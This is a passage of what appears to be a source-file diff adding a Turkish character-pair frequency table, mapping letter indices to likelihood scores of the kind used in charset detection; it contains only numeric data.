0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 1, # 'd' + 2: 0, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 1, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 1, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 1, # 's' + 9: 0, # 't' + 14: 0, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 0, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 16: { # 'K' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 3, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 2, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 1, # 'e' + 18: 3, # 'f' + 27: 3, # 'g' + 25: 3, # 'h' + 3: 3, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 0, # 'u' + 32: 3, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 2, # 'ü' + 30: 0, # 'ğ' + 41: 1, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 49: { # 'L' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 2, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 2, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 0, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 2, # 'i' + 24: 0, # 'j' + 10: 1, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 2, # 'n' + 15: 1, # 'o' + 26: 1, # 'p' + 7: 1, # 'r' + 8: 1, # 's' + 9: 1, # 't' + 14: 0, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 2, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 1, # 'ü' + 30: 1, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 20: { # 'M' + 23: 1, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 1, # 'g' + 25: 1, # 'h' + 3: 2, # 'i' + 24: 2, # 'j' + 10: 2, # 'k' + 5: 2, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 3, # 'r' + 8: 0, # 's' + 9: 2, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 3, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 46: { # 'N' + 23: 0, # 'A' + 37: 1, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 1, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 1, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 2, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 1, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 2, # 'j' + 10: 1, # 'k' + 5: 1, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 15: 1, # 'o' + 26: 1, # 'p' + 7: 1, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 1, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 1, # 'İ' + 6: 2, # 'ı' + 40: 1, # 'Ş' + 19: 1, # 'ş' + }, + 42: { # 'O' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 0, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 1, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 2, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 0, # 'n' + 15: 1, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 2, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 2, # 'İ' + 6: 1, # 'ı' + 40: 1, # 'Ş' + 19: 1, # 'ş' + }, + 48: { # 'P' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 2, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 1, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 1, # 'N' + 42: 1, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 1, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 2, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 1, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 0, # 'n' + 15: 2, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 2, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 2, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 2, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 1, # 'İ' + 6: 0, # 'ı' + 40: 2, # 'Ş' + 19: 1, # 'ş' + }, + 44: { # 'R' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 1, # 'b' + 28: 1, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 1, # 'k' + 5: 2, # 'l' + 13: 2, # 'm' + 4: 0, # 'n' + 15: 1, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 1, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 1, # 'ü' + 30: 1, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 1, # 'Ş' + 19: 1, # 'ş' + }, + 35: { # 'S' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 1, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 1, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 1, # 'k' + 5: 1, # 'l' + 13: 2, # 'm' + 4: 1, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 1, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 2, # 'Ç' + 50: 2, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 3, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 2, # 'Ş' + 19: 1, # 'ş' + }, + 31: { # 'T' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 0, # 'c' + 12: 1, # 'd' + 2: 3, # 'e' + 18: 2, # 'f' + 27: 2, # 'g' + 25: 0, # 'h' + 3: 1, # 'i' + 24: 1, # 'j' + 10: 2, # 'k' + 5: 2, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 2, # 'p' + 7: 2, # 'r' + 8: 0, # 's' + 9: 2, # 't' + 14: 2, # 'u' + 32: 1, # 'v' + 57: 1, # 'w' + 58: 1, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 51: { # 'U' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 1, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 1, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 1, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 1, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 2, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 1, # 'k' + 5: 1, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 1, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 38: { # 'V' + 23: 1, # 'A' + 37: 1, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 1, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 2, # 'l' + 13: 2, # 'm' + 4: 0, # 'n' + 15: 2, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 1, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 1, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 1, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 1, # 'İ' + 6: 3, # 'ı' + 40: 2, # 'Ş' + 19: 1, # 'ş' + }, + 62: { # 'W' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 0, # 'd' + 2: 0, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 0, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 0, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 43: { # 'Y' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 0, # 'G' + 45: 1, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 2, # 'N' + 42: 0, # 'O' + 48: 2, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 2, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 1, # 'j' + 10: 1, # 'k' + 5: 1, # 'l' + 13: 3, # 'm' + 4: 0, # 'n' + 15: 2, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 2, # 'Ö' + 55: 1, # 'Ü' + 59: 1, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 1, # 'İ' + 6: 0, # 'ı' + 40: 2, # 'Ş' + 19: 1, # 'ş' + }, + 56: { # 'Z' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 2, # 'Z' + 1: 2, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 2, # 'i' + 24: 1, # 'j' + 10: 0, # 'k' + 5: 0, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 1, # 'r' + 8: 1, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 1, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 1: { # 'a' + 23: 3, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 3, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 1, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 3, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 2, # 'Z' + 1: 2, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 2, # 'e' + 18: 3, # 'f' + 27: 3, # 'g' + 25: 3, # 'h' + 3: 3, # 'i' + 24: 3, # 'j' + 10: 3, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 15: 1, # 'o' + 26: 3, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 3, # 'v' + 57: 2, # 'w' + 58: 0, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 1, # 'î' + 34: 1, # 'ö' + 17: 3, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 21: { # 'b' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 3, # 'g' + 25: 1, # 'h' + 3: 3, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 3, # 'p' + 7: 1, # 'r' + 8: 2, # 's' + 9: 2, # 't' + 14: 2, # 'u' + 32: 1, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 28: { # 'c' + 23: 0, # 'A' + 37: 1, # 'B' + 47: 1, # 'C' + 39: 1, # 'D' + 29: 2, # 'E' + 52: 0, # 'F' + 36: 2, # 'G' + 45: 2, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 1, # 'N' + 42: 1, # 'O' + 48: 2, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 2, # 'T' + 51: 2, # 'U' + 38: 2, # 'V' + 62: 0, # 'W' + 43: 3, # 'Y' + 56: 0, # 'Z' + 1: 1, # 'a' + 21: 1, # 'b' + 28: 2, # 'c' + 12: 2, # 'd' + 2: 1, # 'e' + 18: 1, # 'f' + 27: 2, # 'g' + 25: 2, # 'h' + 3: 3, # 'i' + 24: 1, # 'j' + 10: 3, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 15: 2, # 'o' + 26: 2, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 1, # 'u' + 32: 0, # 'v' + 57: 1, # 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 1, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 1, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 1, # 'î' + 34: 2, # 'ö' + 17: 2, # 'ü' + 30: 2, # 'ğ' + 41: 1, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 2, # 'ş' + }, + 12: { # 'd' + 23: 1, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 2, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 1, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 1, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 1, # 'f' + 27: 3, # 'g' + 25: 3, # 'h' + 3: 2, # 'i' + 24: 3, # 'j' + 10: 2, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 1, # 'o' + 26: 2, # 'p' + 7: 3, # 'r' + 8: 2, # 's' + 9: 2, # 't' + 14: 3, # 'u' + 32: 1, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 3, # 'y' + 22: 1, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 2: { # 'e' + 23: 2, # 'A' + 37: 0, # 'B' + 47: 2, # 'C' + 39: 0, # 'D' + 29: 3, # 'E' + 52: 1, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 1, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 1, # 'N' + 42: 0, # 'O' + 48: 1, # 